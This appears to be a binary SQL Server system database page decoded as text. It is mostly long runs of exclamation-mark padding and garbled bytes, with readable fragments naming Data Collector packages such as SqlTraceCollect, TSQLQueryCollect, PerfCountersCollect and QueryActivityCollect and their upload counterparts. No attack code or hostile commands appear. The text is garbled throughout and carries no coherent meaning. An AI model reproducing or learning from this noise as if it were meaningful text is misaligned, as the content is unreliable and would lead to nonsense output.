!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!B~X`
Zk?p^jlyz{|}~8@!!!!`l1ٓkH	hp>q8^r}stpuv@w
j	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Q8m?EQpQɟFMK"olB[Kw8QJŽt	O$\IZ~ɀSqlTraceCollectSystem Data Collector Packagej	pQ樉ZV@ȸ#	.[Kw8QJŽtL2-)JNz`|ǀSqlTraceUploadSystem Data Collector Packagej	pQv+)FDm$<[Kw8QJŽtmLƔ{E2sˀTSQLQueryCollectSystem Data Collector Packagej	pQ8n9HIsP9[Kw8QJŽtCU(~ɀTSQLQueryUploadSystem Data Collector Packagej	pQ['A&Mn}[Kw8QJŽtY	!DJb]bDрPerfCountersCollectSystem Data Collector Packagej	pQTE
N"z]pf
[Kw8QJŽtv"% :IkjUoπPerfCountersUploadSystem Data Collector Packagej	pQh#H7=[Kw8QJŽtCuY ;C
ӀQueryActivityCollectSystem Data Collector Packagej	pQ(=Gy.vL[Kw8QJŽt2ױƪFLK8рQueryActivityUploadSystem Data Collector Packagej	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!